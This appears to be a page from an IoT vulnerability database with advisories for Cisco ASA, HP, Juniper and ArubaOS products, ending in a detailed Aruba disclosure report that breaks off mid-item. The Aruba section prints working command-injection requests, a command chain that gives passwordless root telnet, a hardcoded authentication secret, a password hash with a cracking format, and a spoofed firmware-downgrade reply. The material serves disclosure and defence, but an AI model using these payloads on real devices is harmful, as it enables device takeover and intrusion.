VARIoT IoT vulnerabilities database

The SunRPC inspection engine in Cisco ASA Software 7.2 before 7.2(5.14), 8.2 before 8.2(5.51), 8.3 before 8.3(2.42), 8.4 before 8.4(7.23), 8.5 before 8.5(1.21), 8.6 before 8.6(1.14), 8.7 before 8.7(1.13), 9.0 before 9.0(4.5), and 9.1 before 9.1(5.3) allows remote attackers to cause a denial of service (device reload) via crafted SunRPC packets, aka Bug ID CSCun11074. An attacker can exploit this issue to cause the affected device to reload, denying service to legitimate users. This issue is tracked by Cisco Bug ID CSCun11074. Cisco ASA is a set of firewall equipment of Cisco (Cisco). The device also includes IPS (Intrusion Prevention System), SSL VPN, IPSec VPN, antispam, and more. The vulnerability is caused by the program not correctly handling SunRPC packets. The following versions are affected: Cisco ASA Software 7.2 prior to 5.14, 8.2 prior to 8.2(5.51), 8.3 prior to 8.3(2.42), 8.4 prior to 8.4(7.23), 8.5 prior to 8.5(1.21), 8.6( 1.14) before 8.6, 8.7(1.13) before 8.7, 9.0(4.5) before 9.0, 9.1(5.3) before 9.1

The DNS inspection engine in Cisco ASA Software 9.0 before 9.0(4.13), 9.1 before 9.1(5.7), and 9.2 before 9.2(2) allows remote attackers to cause a denial of service (device reload) via crafted DNS packets, aka Bug ID CSCuo68327. Cisco Adaptive Security Appliance (ASA) Software is prone to a denial-of-service vulnerability. An attacker can exploit this issue to cause the affected device to reload, denying service to legitimate users. This issue is tracked by Cisco Bug ID CSCuo68327. Cisco ASA is a set of firewall equipment of Cisco (Cisco). The device also includes IPS (Intrusion Prevention System), SSL VPN, IPSec VPN, antispam, and more. The vulnerability is caused by the program's improper handling of DNS packets. The following releases are affected: Cisco ASA Software 9.0 prior to 9.0(4.13), 9.1 prior to 9.1(5.7), and 9.2 prior to 9.2(2)

The VPN implementation in Cisco ASA Software 7.2 before 7.2(5.15), 8.2 before 8.2(5.51), 8.3 before 8.3(2.42), 8.4 before 8.4(7.23), 8.6 before 8.6(1.15), 9.0 before 9.0(4.24), 9.1 before 9.1(5.12), 9.2 before 9.2(2.6), and 9.3 before 9.3(1.1) does not properly implement a tunnel filter, which allows remote authenticated users to obtain failover-unit access via crafted packets, aka Bug ID CSCuq28582. Vendors have confirmed this vulnerability Bug ID CSCuq28582 It is released as.A unit of failover via a crafted packet by a remotely authenticated user (failover-unit) You may get access to. Successfully exploiting this issue may allow an attacker to execute configuration commands to the standby unit through the failover interface. This issue is being tracked by Cisco bug ID CSCuq28582. Cisco ASA is a set of firewall equipment of Cisco (Cisco). The device also includes IPS (Intrusion Prevention System), SSL VPN, IPSec VPN, antispam, and more. A remote attacker could exploit this vulnerability with a specially crafted packet to gain access to the failover-unit. The following versions are affected: Cisco ASA Software 7.2 prior to 5.15, 8.2 prior to 8.2(5.51), 8.3 prior to 8.3(2.42), 8.4 prior to 8.4(7.23), 8.6 prior to 8.6(1.15), 9.0( Version 9.0 before 4.24), Version 9.1 before 9.1(5.12), Version 9.2 before 9.2(2.6), Version 9.3 before 9.3(1.1)

The Virtual Network Management Center (VNMC) policy implementation in Cisco ASA Software 8.7 before 8.7(1.14), 9.2 before 9.2(2.8), and 9.3 before 9.3(1.1) allows local users to obtain Linux root access by leveraging administrative privileges and executing a crafted script, aka Bug IDs CSCuq41510 and CSCuq47574. A local attacker can exploit this issue to gain root privileges. This issue is being tracked by Cisco Bug IDs CSCuq41510 and CSCuq47574. Cisco ASA is a set of firewall equipment of Cisco (Cisco). The device also includes IPS (Intrusion Prevention System), SSL VPN, IPSec VPN, antispam, and more. The vulnerability is caused by the program not adequately filtering the input submitted by the user. The following versions are affected: Cisco ASA Software 8.7 prior to 8.7(1.14), 9.2 prior to 9.2(2.8), 9.3 prior to 9.3(1.1)

Untrusted search path vulnerability in Cisco ASA Software 8.x before 8.4(3), 8.5, and 8.7 before 8.7(1.13) allows local users to gain privileges by placing a Trojan horse library file in external memory, leading to library use after device reload because of an incorrect LD_LIBRARY_PATH value, aka Bug ID CSCtq52661. Cisco ASA The software contains a vulnerability that allows it to obtain permission because of a flaw in the processing related to the search path. Cisco Adaptive Security Appliance (ASA) Software is prone to a local privilege-escalation vulnerability. A local attacker can exploit this issue to inject a malicious library and take complete control of the system. This issue is being tracked by Cisco Bug ID CSCtq52661. Cisco ASA is a set of firewall equipment of Cisco (Cisco). The device also includes IPS (Intrusion Prevention System), SSL VPN, IPSec VPN, antispam, and more. The following versions are affected: Cisco ASA Software 8.x prior to 8.4(3), 8.5 prior to 8.7(1.13), 8.7 prior

The Clientless SSL VPN portal in Cisco ASA Software 8.2 before 8.2(5.51), 8.3 before 8.3(2.42), 8.4 before 8.4(7.23), 8.6 before 8.6(1.15), 9.0 before 9.0(4.24), 9.1 before 9.1(5.12), 9.2 before 9.2(2.8), and 9.3 before 9.3(1.1) allows remote attackers to obtain sensitive information from process memory or modify memory contents via crafted parameters, aka Bug ID CSCuq29136. Cisco Adaptive Security Appliance (ASA) Software is prone to a memory-corruption vulnerability. Successfully exploiting these issues may allow an attacker to obtain sensitive information, which could lead to a reload of the affected system, denying service to legitimate users. This issue is being tracked by Cisco Bug ID CSCuq29136. Cisco ASA is a set of firewall equipment of Cisco (Cisco). The device also includes IPS (Intrusion Prevention System), SSL VPN, IPSec VPN, antispam, and more. The following versions are affected: Cisco ASA Software 8.2 prior to 8.2(5.51), 8.3 prior to 8.3(2.42), 8.4 prior to 8.4(7.23), 8.6 prior to 8.6(1.15), 9.0 prior to 9.0(4.24), 9.1( 5.12) before 9.1, 9.2(2.8) before 9.2, 9.3(1.1) before 9.3

The Clientless SSL VPN portal customization framework in Cisco ASA Software 8.2 before 8.2(5.51), 8.3 before 8.3(2.42), 8.4 before 8.4(7.23), 8.6 before 8.6(1.14), 9.0 before 9.0(4.24), 9.1 before 9.1(5.12), and 9.2 before 9.2(2.4) does not properly implement authentication, which allows remote attackers to modify RAMFS customization objects via unspecified vectors, as demonstrated by inserting XSS sequences or capturing credentials, aka Bug ID CSCup36829. Vendors have confirmed this vulnerability Bug ID CSCup36829 It is released as.By a third party RAMFS Customization objects may be changed. The Cisco ASA 5500 Series Adaptive Security Appliance is a modular platform for providing security and VPN services with firewall, IPS, anti-X, and VPN services. This issue is tracked by Cisco Bug ID CSCup36829. Cisco ASA is a set of firewall equipment of Cisco (Cisco). The device also includes IPS (Intrusion Prevention System), SSL VPN, IPSec VPN, antispam, and more. The vulnerability stems from the program's incorrect implementation of authentication. A remote attacker can exploit this vulnerability to modify RAMFS custom objects. The following versions are affected: Cisco ASA Software 8.2 prior to 8.2(5.51), 8.3 prior to 8.3(2.42), 8.4 prior to 8.4(7.23), 8.6 prior to 8.6(1.14), 9.0 prior to 9.0(4.24), 9.1( 5.12) prior to 9.1, 9.2(2.4) prior to 9.2

The Smart Call Home (SCH) implementation in Cisco ASA Software 8.2 before 8.2(5.50), 8.4 before 8.4(7.15), 8.6 before 8.6(1.14), 8.7 before 8.7(1.13), 9.0 before 9.0(4.8), and 9.1 before 9.1(5.1) allows remote attackers to bypass certificate validation via an arbitrary VeriSign certificate, aka Bug ID CSCun10916. Vendors have confirmed this vulnerability Bug ID CSCun10916 It is released as.By any third party VeriSign Via certificates, certificate validation can be bypassed. Successfully exploiting this issue will allow an attacker to perform certain unauthorized actions. This may lead to other attacks. This issue is being tracked by Cisco Bug ID CSCun10916. Cisco ASA is a set of firewall equipment of Cisco (Cisco). The device also includes IPS (Intrusion Prevention System), SSL VPN, IPSec VPN, antispam, and more. The following versions are affected: Cisco ASA Software 8.2 prior to 5.50, 8.4 prior to 8.4(7.15), 8.6 prior to 8.6(1.14), 8.7 prior to 8.7(1.13), 9.0 prior to 9.0(4.8), 9.1( 5.1) Prior to version 9.1

Unspecified vulnerability in HP Operations Manager 9.10 and 9.11 on UNIX allows remote attackers to execute arbitrary code via unknown vectors. Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Few technical details are currently available. We will update this BID as more information emerges. HP Operations Manager 9.10 and 9.11 for UNIX are vulnerable. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Note: the current version of the following document is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/ docDisplay?docId=emr_na-c04472866 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c04472866 Version: 1 HPSBMU03127 rev.1 - HP Operations Manager for UNIX, Remote Code Execution NOTICE: The information in this Security Bulletin should be acted upon as soon as possible. References: CVE-2014-2648, CVE-2014-2649 (SSRT101727) SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. The updates can be downloaded from HP Software Support Online (SSO). 9.11.120 server patches: Component Download Location OMHPUX_00004 https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse arch/document/KM01188205 ITOSOL_00802 https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse arch/document/KM01187924 OML_00080 https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse arch/document/KM01187666 9.11.120 Java UI patches: Component Download Location OMHPUX_00005 https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse arch/document/KM01187192 ITOSOL_00803 https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse arch/document/KM01187435 OML_00081 https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse arch/document/KM01188103 9.20.300 server patches: Component Download Location OMHPUX_00006 https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse arch/document/KM01188207 ITOSOL_00804 https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse arch/document/KM01188065 OML_00082 https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetse arch/document/KM01188209 HISTORY Version:1 (rev.1) - 8 October 2014 Initial release Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HP Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hp.com. Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com Subscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins Security Bulletin Archive: A list of recently released Security Bulletins is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/ Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB. 3C = 3COM 3P = 3rd Party Software GN = HP General Software HF = HP Hardware and Firmware MP = MPE/iX MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PI = Printing and Imaging PV = ProCurve ST = Storage Software TU = Tru64 UNIX UX = HP-UX Copyright 2014 Hewlett-Packard Development Company, L.P. Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.13 (GNU/Linux) iEYEARECAAYFAlQ1TwsACgkQ4B86/C0qfVnkJgCfevd5vzwuHkW/C2VigZXMkDx3 emMAoPo5hL+fb0wuvT/65VDTrqjXDEY1 =TbvC -----END PGP SIGNATURE-----

The Juniper SRX Series devices with Junos 11.4 before 11.4R12-S4, 12.1X44 before 12.1X44-D40, 12.1X45 before 12.1X45-D30, 12.1X46 before 12.1X46-D25, and 12.1X47 before 12.1X47-D10, when an Application Layer Gateway (ALG) is enabled, allows remote attackers to cause a denial of service (flowd crash) via a crafted packet. Juniper Junos is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause an affected device to crash, denying service to legitimate users. Note: This issue affects on SRX series devices. Juniper Networks SRX Series devices with Junos are SRX series devices of Juniper Networks (Juniper Networks) running the Junos operating system. The following versions are affected: Juniper Networks Juniper SRX Series devices with Junos 11.4R12-S4 prior to 11.4, 12.1X44 prior to 12.1X44-D40, 12.1X45 prior to 12.1X45-D30, 12.1X46 prior to 12.1X46-D25, 12.1X47 -D10 before 12.1X47 version

Juniper Junos 11.4 before R12, 12.1 before R10, 12.1X44 before D35, 12.1X45 before D25, 12.1X46 before D20, 12.1X47 before D10, 12.2 before R8, 12.2X50 before D70, 12.3 before R6, 13.1 before R4-S3, 13.1X49 before D55, 13.1X50 before D30, 13.2 before R4, 13.2X50 before D20, 13.2X51 before D26 and D30, 13.2X52 before D15, 13.3 before R2, and 14.1 before R1, when a RADIUS accounting server is configured as [system accounting destination radius], creates an entry in /var/etc/pam_radius.conf, which might allow remote attackers to bypass authentication via unspecified vectors. Juniper Junos is prone to a security-bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions, like making configuration changes. This may aid in further attacks. Juniper Junos is a set of network operating system of Juniper Networks (Juniper Networks) dedicated to the company's hardware system. The operating system provides a secure programming interface and Junos SDK

Unspecified vulnerability in administrative interfaces in ArubaOS 6.3.1.11, 6.3.1.11-FIPS, 6.4.2.1, and 6.4.2.1-FIPS on Aruba controllers allows remote attackers to bypass authentication, and obtain potentially sensitive information or add guest accounts, via an SSH session. Aruba OS is the operating system and application engine for all Aruba mobile controllers and access devices. Arubaos is prone to a information disclosure vulnerability. Aruba ArubaOS/Aruba Instant/AirWave Management - Multiple Vulnerabilities ------------------------------------------------------------------------- Introduction ============ Multiple vulnerabilities were identified in Aruba AP, IAP and AMP devices. The Vulnerabilities were discovered during a black box security assessment and therefore the vulnerability list should not be considered exhaustive. Several of the high severity vulnerabilities listed in this report are related to the Aruba proprietary PAPI protocol and allow remote compromise of affected devices. Affected Software And Versions ============================== - ArubaOS (all versions) - AirWave Management Platform 8.x prior to 8.2 - Aruba Instant (all versions up to, but not including, 4.1.3.0 and 4.2.3.1) CVE === The following CVE were assigned to the issues described in this report: - CVE-2016-2031 - CVE-2016-2032 Vulnerability Overview ====================== 1. AMP: RabbitMQ Management interface exposed 2. AMP: XSRF token uses weak calculation algorithm 3. AMP: Arbitrary modification of /etc/ntp.conf 4. AMP: PAPI uses static key for calculating validation checksum (auth bypass) 5. (I)AP: Insecure transmission of login credentials (GET) 6. (I)AP: Built in privileged "support" account 7. (I)AP: Static password hash for support account 8. (I)AP: Unusual account identified ("arubasecretadmin") 9. (I)AP: Privileged remote code execution 10. (I)AP: Radius passwords allow arbitrary raddb commands 11. (I)AP: Unauthenticated disclosure of environment variables 12. (I)AP: Unauthenticated automated firmware update requests 14. (I)AP: Firmware updater does not check certificates 15. (I)AP: Forceful downgrade of FW versions possible 16. (I)AP: Firmware update check discloses machine certificate 17. (I)AP: Firmware is downloaded via unencrypted connection 18. (I)AP: Firmware update Challenge/Response does not protect the Client 19. (I)AP: Unencrypted private keys and certs 20. (I)AP: Potential signature private key 21. (I)AP: PAPI Endpoints exposed to all interfaces 22. (I)AP: PAPI Endpoint does not validate MD5 signatures 23. (I)AP: PAPI protocol encrypted with weak encryption algorithm 24. (I)AP: PAPI protocol authentication bypass 25. (I)AP: Broadcast with detailed system information (LLDP) 26. (I)AP: User passwords are encrypted with a static key Vulnerability Details ===================== --------------------------------------------- 1. AMP: RabbitMQ Management interface exposed --------------------------------------------- AMPs expose the management frontend for the RabbitMQ message queue on all interfaces via tcp/15672 and tcp/55672. # netstat -nltp | grep beam tcp 0 0 127.0.0.1:5672 0.0.0.0:* LISTEN 2830/beam.smp tcp 0 0 127.0.0.1:17716 0.0.0.0:* LISTEN 2830/beam.smp tcp 0 0 0.0.0.0:15672 0.0.0.0:* LISTEN 2830/beam.smp tcp 0 0 0.0.0.0:55672 0.0.0.0:* LISTEN 2830/beam.smp The password for the default user "airwave" is stored in the world readable file /etc/rabbitmq/rabbitmq.config in plaintext: # ls -l /etc/rabbitmq/rabbitmq.config -rw-r--r-- 1 root root 275 Oct 28 15:48 /etc/rabbitmq/rabbitmq.config # grep default_ /etc/rabbitmq/rabbitmq.config {default_user,<<"airwave">>}, {default_pass,<<"***REMOVED***">>} -------------------------------------------------- 2. AMP: XSRF token uses weak calculation algorithm -------------------------------------------------- The XSRF token is calculated based on limited sources of entropy, consisting of the user's time of login and a random number between 0 and 99999. The algorithm Is approximated by the following example Python script: base64.b64encode(hashlib.md5('%d%5.5d' % (int(time.time()), random.randint(0,99999))).digest()) ----------------------------------------------- 3. AMP: Arbitrary modification of /etc/ntp.conf ----------------------------------------------- Incorrect/missing filtering of input parameters allows injecting new lines and arbitrary commands into /etc/ntp.conf, when updating the NTP settings via the web frontend. POST /nf/pref_network? HTTP/1.1 Host: 192.168.131.162 [...] id=&ip_1=192.168.131.162&hostname_1=foo.example.com& subnet_mask_1=255.255.255.248&gateway_1=192.168.131.161&dns1_1=172.16.255.1& dns2_1=&eth1_enabled_1=0&eth1_ip_1=&eth1_netmask_1=& ntp1_1=time1.example.com%0afoo&ntp2_1=time2.example.com&save=Save The above POST requests results in the following ntp.conf being generated: # cat /etc/ntp.conf [...] server time1.example.com foo server time2.example.com ------------------------------------------------------------------------------ 4. AMP: PAPI uses static key for calculating validation checksum (auth bypass) ------------------------------------------------------------------------------ PAPI packets sent from an AP to an AMP are authenticated with a cryptographic checksum. The packet format is only partially known, as it's a proprietary format created by Aruba. A typical PAPI packet sent to an AMP is as follows: 0000 49 72 00 02 64 69 86 2d 7f 00 00 01 01 00 01 00 Ir..di.-........ 0010 20 1f 20 1e 00 01 00 00 00 01 3e f9 22 49 05 b3 . .......>."I.. 0020 50 89 40 d3 5d 9d d6 af 46 98 c1 a6 P.@.]...F... The following dissection of the above shown packet gives a more detailed overview of the format: 49 72 ID 00 02 Version 64 69 86 2d PAPI Destination IP 7f 00 00 01 PAPI Source IP 01 00 Unknown1 01 00 Unknown2 20 1f PAPI Source Port 20 1e PAPI Destination Port 00 01 Unknown3 00 00 Unknown4 00 01 Sequence Number 3e f9 Unknown5 22 49 05 b3 50 89 40 d3 5d 9d d6 af 46 98 c1 a6 Checksum The checksum is based on a MD5 hash of a padded concatenation of all fields and a secret token. The secret token is hardcoded in multiple binaries on the AMP and can easily be retrieved via core Linux system tools: $ strings /opt/airwave/bin/msgHandler | grep asd asdf;lkj763 Using this secret token it is possible to craft valid PAPI packets and issue commands to the AMP, bypassing the authentication based on the shared secret / token. This can be exploited to compromise of the device. Random sampling of different software versions available on Aruba's website confirmed that the shared secret is identical for all versions. ------------------------------------------------------- 5. AP: Insecure transmission of login credentials (GET) ------------------------------------------------------- Username and password to authenticate with the AP web frontend are transmitted through HTTP GET. This method should not be used in a form that transmits sensitive data, because the data is displayed in clear text in the URL. GET /swarm.cgi?opcode=login&user=admin&passwd=admin HTTP/1.1 The login URL can potentially appear in Proxy logs, the server logs or browser history. This possibly discloses the authentication data to unauthorized persons. -------------------------------------------- 6. AP: Built in privileged "support" account -------------------------------------------- The APs provide a built in system account called "support". When connected to the restricted shell of the AP via SSH, issuing the command "support", triggers a password request: 00:0b:86:XX:XX:XX# support Password: A quick internet search clarified, that this password is meant for use by Aruba engineers only: http://community.arubanetworks.com/t5/Unified-Wired-Wireless-Access/OS5-0-support-password/td-p/26760 Further research on that functionality lead to the conclusion that this functionality provides root-privileged shell access to the underlying operating system of the AP, given the correct password is entered. ----------------------------------------------- 7. AP: Static password hash for support account ----------------------------------------------- The password hash for the "support" account mentioned in vulnerability #6 is stored in plaintext on the AP. $ strings /aruba/bin/cli | grep ^bc5 bc54907601c92efc0875233e121fd3f1cebb8b95e2e3c44c14 Random sampling of different versions of Firmware images available on Aruba's website confirmed that the password hash is identical for all versions. The password check validating a given "support" password is based on the following algorithm: SALT + sha1(SALT + PASSWORD) Where SALT equals the first 5 bytes of the password hash in binary representation. It is possible to run a brute-force attack on this hash format using JtR with the following input format: support:$dynamic_25$c92efc0875233e121fd3f1cebb8b95e2e3c44c14$HEX$bc54907601 ------------------------------------------------------ 8. AP: Unusual account identified ("arubasecretadmin") ------------------------------------------------------ The AP's system user configuration contains a undocumented account called "arubasecretadmin". This account was the root cause for CVE-2007-0932 and allowed administrative login with a static password. /etc/passwd: nobody:x:99:99:Nobody:/:/sbin/nologin root:x:0:0:Root:/:/bin/sh admin:x:100:100:Admin:/:/bin/telnet3 arubasecretadmin:x:101:100:Aruba Admin:/:/bin/telnet2 serial:x:102:100:Serial:/:/bin/telnet4 Further tests indicated that login with this account seems not possible as it is not mapped through Arubas authentication mechanisms. The reason for it being still configured on the system is unknown. --------------------------------------- 9. AP: Privileged remote code execution --------------------------------------- Insufficient checking of parameters allows an attacker to execute commands with root privileges on the AP. The vulnerable parameter is "image_url" which is used in the Firmware update function. GET /swarm.cgi?opcode=image-url-upgrade&ip=127.0.0.1&oper_id=6&image_url=Aries@http://10.0.0.1/?"`/usr/sbin/mini_httpd+-d+/+-u+root+-p+1234+-C+/etc/mini_httpd.conf`"&auto_reboot=false&refresh=true&sid=OWsiU5MM7DxVf9FRWe3P&nocache=0.9368100591919084 HTTP/1.1 The above example starts a new instance of mini_httpd on tcp/1234, which allows browsing the AP's filesystem. The following list of commands, if executed in order, start a telnet service that allows passwordless root login. killall -9 utelnetd touch /tmp/telnet_enable echo \#\!/bin/sh > /bin/login echo /bin/sh >> /bin/login chmod +x /bin/login /sbin/utelnetd Connecting to the telnet service started by the above command chain: # telnet 10.0.XX.XX Trying 10.0.XX.XX... Connected to 10.0.XX.XX. Escape character is '^]'. Switching to Full Access /aruba/bin # echo $USER root /aruba/bin # Potential exploits of this vulnerability can be detected through the AP's log file: [...] Jan 1 02:43:47 cli[2052]: <341004> <WARN> |AP 00:0b:86:XX:XX:XX2@10.0.XX.XX cli| http://10.0.XX.XX/?"`/sbin/utelnetd`" [...] ------------------------------------------------------- 10. AP: Radius passwords allow arbitrary raddb commands ------------------------------------------------------- Insufficient checking of the GET parameter "cmd" allows the injection of arbitrary commands and configuration parameters in the raddb configuration. Example: GET /swarm.cgi?opcode=config&ip=127.0.0.1&cmd=%27user%20foo%20foo%22,my-setting%3d%3d%22blah%20portal%0Ainbound-firewall%0Ano%20rule%0Aexit%0A%27&refresh=false&sid=Lppj9jT2xQmYKqjEx5eP&nocache=0.10862623626107548 HTTP/1.1 /aruba/radius/raddb/users: foo Filter-Id == MAC-GUEST, Cleartext-Password := "foo",my-setting=="blah" As shown in the above example, inserting a double-quote in the password allows to add additional commands after the password. ----------------------------------------------------------- 11. AP: Unauthenticated disclosure of environment variables ----------------------------------------------------------- It is possible to request a listing of environment variables by requesting a specific URL on the AP's web server. The request does not require authentication. GET /swarm.cgi?opcode=printenv HTTP/1.1 HTTP/1.0 200 OK Content-Type:text/plain; charset=utf-8 Pragma: no-cache Cache-Control: max-age=0, no-store Environment variables CHILD_INDEX=0 PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin LD_LIBRARY_PATH=/usr/local/lib:/usr/lib SERVER_SOFTWARE= SERVER_NAME=10.0.XX.XX GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0 SERVER_PORT=4343 REQUEST_METHOD=GET SCRIPT_NAME=/swarm.cgi QUERY_STRING=opcode=printenv REMOTE_ADDR=10.0.XX.XX REMOTE_PORT=58804 HTTP_REFERER=https://10.0.XX.XX:4343/ HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.3.0 HTTP_HOST=10.0.XX.XX:4343 ----------------------------------------------------------------- 12. AP: Information disclosure by firmware checking functionality ----------------------------------------------------------------- When the AP checks device.arubanetworks.com for a new firmware version, it sends detailed information of the AP in plaintext to the remote host. POST /firmware HTTP/1.1 Host: device.arubanetworks.com Content-Length: 2 Connection: keep-alive X-Type: firmware-check X-Guid: 2dbe42XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX X-OEM-Tag: Aruba X-Mode: IAP X-Factory-Default: Yes X-Current-Version: 6.4.2.6-4.1.1.10_51810 X-Organization: ***REMOVED (Company Internal Name)*** X-Ap-Info: CC00XXXXX, 00:0b:86:XX:XX:XX, RAP-155 X-Features: 0000100001001000000000000000000000000000000000010000000 ---------------------------------------------------------- 13. AP: Unauthenticated automated firmware update requests ---------------------------------------------------------- The web frontend of the AP provides functionality to initiate an automated firmware update. Doing so triggers the AP to initiate communication with device.arubanetworks.com and automatically download and install a new firmware image. The CGI opcode for that automatic update is "image-server-check" and it was discovered that the "sid" parameter is not checked for this opcode. Therefor an attacker can issue the automatic firmware update without authentication by sending the following GET request to the AP. GET /swarm.cgi?opcode=image-server-check&ip=127.0.0.1&sid=x As shown above, the "sid" parameter has to be submitted as part of the URL, but can be set to anything. Although all opcode actions follow the same calling scheme, "image-server-check" was the only opcode where the session ID was not validated. Combined with other vulnerabilities (#14, #15), this could be exploited to install an outdated, vulnerable firmware on the AP. ---------------------------------------------------- 14. AP: Firmware updater does not check certificates ---------------------------------------------------- The communication between AP and device.arubanetworks.com is secured by using SSL. The AP does not do proper certificate validation for the communication to device.arubanetworks.com. A typical SSL MiTM attack using DNS spoofing and a self-signed certificate allowed interception of the traffic between AP and device.arubanetworks.com. -------------------------------------------------- 15. AP: Forceful downgrade of FW versions possible -------------------------------------------------- When checking device.arubanetworks.com for a new firmware image, the AP sends it's current version to the remote host. If there is no new firmware available, device.arubanetworks.com does not provide any download options. If the initial version sent from the AP is modified by an attacker (via MiTM), the remote server will reply with the current firmware version. The AP will then reject that firmware, as it's current version is more recent/the same. Downgrading the version does also not work based on the validation the AP does. This behaviour can be overwritten if an attacker intercepts and modifies the reply from device.arubanetworks.com and adds X-header called "X-Mandatory-Upgrade". Example of a spoofed reply from device.arubanetworks.com: HTTP/1.0 200 OK Date: Wed, 11 Nov 2015 12:12:20 GMT Content-Length: 91 Content-Type: text/plain; charset=UTF-8 X-Activation-Key: FXXXXXXX X-Session-Id: 05d607dd-958b-42c4-a355-bd54e1a32e8e X-Status-Code: success X-Type: firmware-check X-Mandatory-Upgrade: true Connection: close 6.4.2.6-4.1.1.10_51810 23 http://10.0.0.1:4321/ArubaInstant_Aries_6.4.2.6-4.1.1.10_51810 As shown above, the Header "X-Mandatory-Upgrade" was added to the server's reply. This causes the AP to skip its validation checks and accept any firmware version provided, regardless if it is the same or older than the current one. ----------------------------------------------------------- 16. AP: Firmware update check discloses machine certificate ----------------------------------------------------------- While observing the traffic between an AP and device.arubanetworks.com, it was discovered that the AP discloses it's machine certificate to the remote endpoint. POST /firmware HTTP/1.1 Host: 10.0.XX.XX Content-Length: 2504 Connection: close X-Type: firmware-check X-Guid: 2dbe42XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX X-OEM-Tag: Aruba X-Mode: IAP X-Factory-Default: Yes X-Session-Id: e0b24fb1-e2f7-4e06-9473-1266b50a3fec X-Current-Version: 6.4.2.6-4.1.1.10_51810 X-Organization: ***REMOVED (Company Internal Name)*** X-Ap-Info: CC00XXXXX, 00:0b:86:XX:XX:XX, RAP-155 X-Features: 0000100001001000000000000000000000000000000000010000000 X-Challenge-Hash: SHA-1 -----BEGIN CERTIFICATE----- MIIGTjCCBTagAwI... [...] -----END CERTIFICATE----- The certificate sent in the above request is the same (in PEM format) as found under the following path on the AP: /tmp/deviceCerts/certifiedKeyCert.der Comparison of the certificate from the HTTP Request and from the AP filesystem: $ sha256sum dumped-fw-cert.txt certifiedKeyCert.der.pem 68ebb521dff53d8dcb8e4a0467dcae38cf45a0d812897393632bdd9ef6f354e8 dumped-fw-cert.txt 68ebb521dff53d8dcb8e4a0467dcae38cf45a0d812897393632bdd9ef6f354e8 certifiedKeyCert.der.pem --------------------------------------------------------- 17. AP: Firmware is downloaded via unencrypted connection --------------------------------------------------------- Firmware images are downloaded via unencrypted HTTP to the AP. An example reply containing the download paths looks as follows: HTTP/1.1 200 OK Date: Wed, 11 Nov 2015 13:18:58 GMT Content-Length: 552 Content-Type: text/plain; charset=UTF-8 X-Activation-Key: FXXXXXXX X-Session-Id: 05d607dd-958b-42c4-a355-bd54e1a32e8e X-Status-Code: success X-Type: firmware-check Connection: close 6.4.2.6-4.1.1.10_51810 25 http://images.arubanetworks.com/fwfiles/ArubaInstant_Centaurus_6.4.2.6-4.1.1.10_51810 30 http://images.arubanetworks.com/fwfiles/ArubaInstant_Taurus_6.4.2.6-4.1.1.10_51810 15 http://images.arubanetworks.com/fwfiles/ArubaInstant_Cassiopeia_6.4.2.6-4.1.1.10_51810 10 http://images.arubanetworks.com/fwfiles/ArubaInstant_Orion_6.4.2.6-4.1.1.10_51810 23 http://images.arubanetworks.com/fwfiles/ArubaInstant_Aries_6.4.2.6-4.1.1.10_51810 26 http://images.arubanetworks.com/fwfiles/ArubaInstant_Pegasus_6.4.2.6-4.1.1.10_51810 An attacker could potentially MiTM connections to images.arubanetworks.com and possibly replace the firmware images downloaded by the AP. ---------------------------------------------------------------------- 18. AP: Firmware update Challenge/Response does not protect the Client ---------------------------------------------------------------------- The update check process between AP and device.arubanetworks.com works as follows: AP => device.arubanetworks.com POST /firmware X-Type: firmware-check AP <= device.arubanetworks.com 200 OK X-Session-Id: bd4... X-Challenge: 123123... AP => device.arubanetworks.com POST /firmware X-Session-Id: bd4... [machine certificate] [signature] AP <= device.arubanetworks.com 200 OK X-Session-Id: bd4... [firmware image urls] When inspecting the communication process carefully, it is clear that the final response from device.arubanetworks.com does not contain any (cryptographic) signature. An attacker could impersonate device.arubanetworks.com, send an arbitrary challenge, ignore the response and just reply with a list of firmware images. The only thing that has to be kept the same over requests is the X-Session-Id header, which is also sent initially by the remote host and not the AP and therefore under full control of the attacker. ------------------------------------------ 19. AP: Unencrypted private keys and certs ------------------------------------------ The AP firmware image contains the unencrypted private key and certificate for securelogin.arubanetworks.com 